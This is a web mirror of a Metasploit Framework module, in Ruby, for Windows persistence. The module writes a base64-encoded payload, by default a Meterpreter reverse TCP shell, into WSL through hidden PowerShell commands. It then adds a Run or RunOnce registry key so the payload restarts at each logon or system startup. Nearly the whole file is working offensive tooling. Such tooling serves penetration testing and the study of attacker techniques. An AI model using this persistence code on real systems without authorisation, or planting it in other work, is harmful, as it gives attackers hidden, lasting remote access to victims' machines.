Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/wsl/registry.rb
27918 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GoodRanking
8
9
include Msf::Post::Windows::Powershell
10
include Msf::Post::Windows::Registry
11
include Msf::Post::File
12
include Msf::Exploit::Local::Persistence
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Windows WSL via Registry Persistence',
20
'Description' => %q{
21
This module will install a payload in WSL and execute it at user
22
logon or system startup via the registry value in "CurrentVersion\Run"
23
or "RunOnce" (depending on privilege and selected method).
24
The payload will be installed completely in registry.
25
26
Staged payloads, like fetch payloads in linux X64 don't tend to work. The payload
27
will ask for the stage, then submit the HTTP fetch request
28
and when the payload is sent it doesn't execute.
29
30
`cmd/linux/http/x64/meterpreter_reverse_tcp` and unix cmd payloads tend to work.
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'Joe Helle', # original writeup
35
'h00die',
36
],
37
'Platform' => [ 'unix', 'linux' ],
38
'Arch' => [ARCH_CMD, ARCH_X64],
39
'SessionTypes' => [ 'meterpreter', 'shell' ],
40
'DefaultOptions' => {
41
'Payload' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
42
},
43
'Targets' => [
44
[ 'Automatic', {} ]
45
],
46
'References' => [
47
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
48
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
49
['URL', 'https://medium.themayor.tech/windows-persistence-using-wsl2-8f87e319ea56'],
50
['URL', 'https://lolapps-project.github.io/lolapps/Desktop/wsl/']
51
],
52
'DefaultTarget' => 0,
53
'DisclosureDate' => '2022-01-29',
54
'Notes' => {
55
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
56
'Stability' => [CRASH_SAFE],
57
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
58
}
59
)
60
)
61
62
register_options([
63
OptEnum.new('STARTUP',
64
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
65
OptString.new('RUN_NAME',
66
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
67
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
68
OptString.new('PAYLOAD_NAME',
69
[false, 'The filename for the payload to be used on the target host (random by default).']),
70
])
71
72
# overload this to prevent it from trying to do windows things since we're writing to the underlying linux
73
register_advanced_options(
74
[
75
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
76
]
77
)
78
end
79
80
def generate_cmd_reg
81
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
82
end
83
84
def regkey
85
datastore['REG_KEY']
86
end
87
88
def install_cmd(cmd, cmd_reg, root_path)
89
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
90
fail_with(Failure::Unknown, 'Could not install run key')
91
end
92
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
93
end
94
95
def get_root_path
96
return 'HKCU' if datastore['STARTUP'] == 'USER'
97
98
'HKLM'
99
end
100
101
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
102
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
103
if new_key
104
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
105
end
106
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
107
end
108
109
def check
110
# /tmp seems to persist on *some* Ubuntu WSL (wsl v1 it did, v2 it didnt)
111
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
112
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
113
114
vprint_good('Powershell detected on system')
115
116
# test write to see if we have access
117
root_path = get_root_path
118
rand = Rex::Text.rand_text_alphanumeric(15)
119
120
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
121
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
122
123
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
124
125
return Msf::Exploit::CheckCode::Safe('WSL Not installed') unless wsl_enabled?
126
127
Msf::Exploit::CheckCode::Vulnerable('Registry writable and WSL installed')
128
end
129
130
def install_persistence
131
root_path = get_root_path
132
print_status("Root path is #{root_path}")
133
table = Rex::Text::Table.new(
134
'Header' => 'WSL',
135
'Columns' => %w[# Instance_Name State Version Default],
136
'Rows' => instance_list.map.with_index do |instance, i|
137
[i + 1, instance[:name], instance[:state], instance[:version], instance[:default]]
138
end
139
)
140
141
print_line table.to_s
142
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
143
144
# write our payload into a file
145
vprint_status("Writing payload to: #{datastore['WritableDir']}/#{payload_name}. WSL may take a little while to start up...")
146
147
b64_payload = Rex::Text.encode_base64(payload.encoded)
148
149
bash_command = "bash -lc 'echo #{b64_payload} | base64 -d > #{datastore['WritableDir']}/#{payload_name}'"
150
ps_command = "powershell.exe -WindowStyle Hidden -Command \"wsl #{bash_command}\""
151
152
# sometimes wsl is busy doing wsl things and can take a minute to come up for this first command.
153
resp = cmd_exec(ps_command, nil, 120)
154
fail_with(Failure::UnexpectedReply, "Writing payload output: #{resp}") unless resp.strip.empty?
155
print_good('Payload wrote successfully')
156
157
resp = cmd_exec("powershell.exe -WindowStyle Hidden -Command \"wsl chmod +x #{datastore['WritableDir']}/#{payload_name}\"")
158
fail_with(Failure::UnexpectedReply, "Setting payload permissions output: #{resp}") unless resp.strip.empty?
159
160
cmd = "powershell.exe -WindowStyle Hidden -Command \"wsl bash -lc 'cd #{datastore['WritableDir']}; nohup #{datastore['WritableDir']}/#{payload_name} > /dev/null 2>&1'\""
161
cmd_reg = generate_cmd_reg
162
163
print_status('Installing run key')
164
install_cmd(cmd, cmd_reg, root_path)
165
166
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
167
@clean_up_rc << "execute -f cmd.exe -a \" /c wsl rm '#{datastore['WritableDir']}/#{payload_name}'\"\n"
168
end
169
170
def wsl_enabled?
171
# Powershell output will look like the following:
172
#
173
# FeatureName : Microsoft-Windows-Subsystem-Linux
174
# DisplayName : Windows Subsystem for Linux
175
# Description : Provides services and environments for running native user-mode Linux shells and tools on Windows.
176
# RestartRequired : Possible
177
# State : Enabled
178
# CustomProperties :
179
# ServerComponent\Description : Provides services and environments for running native user-mode Linux
180
# shells and tools on Windows.
181
# ServerComponent\DisplayName : Windows Subsystem for Linux
182
# ServerComponent\Id : 1033
183
# ServerComponent\Type : Feature
184
# ServerComponent\UniqueName : Microsoft-Windows-Subsystem-Linux
185
# ServerComponent\Deploys\Update\Name : Microsoft-Windows-Subsystem-Linux
186
return false unless have_powershell?
187
188
cmd = 'powershell.exe -WindowStyle Hidden -Command "Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux"'
189
result = cmd_exec(cmd)
190
191
return false if result.blank?
192
193
# Extract the state line, e.g. "State : Enabled"
194
if result =~ /^State\s*:\s*(\w+)/i
195
return Regexp.last_match(1).casecmp('Enabled').zero?
196
end
197
198
false
199
end
200
201
def clean_windows_utf16(str)
202
# Detect presence of null bytes (\u0000)
203
if str.include?("\u0000")
204
# Convert from UTF-16LE to UTF-8
205
str.encode('UTF-8', 'UTF-16LE')
206
else
207
# Return unchanged if it’s already clean
208
str
209
end
210
end
211
212
def instance_list
213
vprint_status('Enumerating WSL Instances')
214
cmd = 'powershell.exe -WindowStyle Hidden -Command "wsl --list --verbose"'
215
# 3hrs later of debugging, i found this returns " \u0000 \u0000N\u0000A\u0000M\u0000E\u0000 \u0000 \u0000"... so clean it up
216
result = clean_windows_utf16(cmd_exec(cmd))
217
218
return [] if result.nil?
219
return [] unless result =~ /NAME\s+STATE\s+VERSION/i
220
221
lines = result.lines.map(&:strip).reject(&:empty?)
222
223
header_index = lines.find_index { |l| l =~ /NAME\s+STATE\s+VERSION/i }
224
return [] if header_index.nil?
225
226
data_lines = lines[(header_index + 1)..]
227
images = []
228
data_lines.map do |line|
229
# Handle the default distro marked with '*'
230
default = line.start_with?('*')
231
line = line.sub(/^\*\s*/, '') # remove leading "* "
232
233
# Split by whitespace but preserve multi-word names
234
# Example line: "Ubuntu-22.04 Running 2"
235
name, state, version = line.split(/\s{2,}/)
236
237
images.append({
238
name: name,
239
state: state,
240
version: version,
241
default: default
242
})
243
end
244
images
245
end
246
end
247
248